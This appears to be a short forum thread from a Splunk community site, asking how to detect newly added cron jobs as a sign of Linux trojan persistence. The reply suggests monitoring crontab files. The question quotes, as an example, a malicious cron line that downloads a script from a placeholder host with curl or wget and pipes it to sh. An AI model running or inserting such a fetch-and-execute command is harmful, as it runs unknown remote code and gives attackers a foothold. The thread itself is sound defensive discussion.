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how to use splunk monitor a cron job add action

bestSplunker
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when some Trojans or virus  are implanted in the Linux OS. it will add cron job to  persist the Trojans .

for example:

 

 

 

 

curl -fsSL https://xxxx.com/raw/sByq0rym ||wget -q -0- https://xxx.com/raw/sByq0rym)|sh

 

 

 

 

so, can I use splunk to monitor  newly added  cron job ?

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thambisetty
SplunkTrust
SplunkTrust

You can monitor crontab files and apply your logic to find new cron job added.

The below doc is helpful to find out cronjob location 

https://opensource.com/article/17/11/how-use-cron-linux

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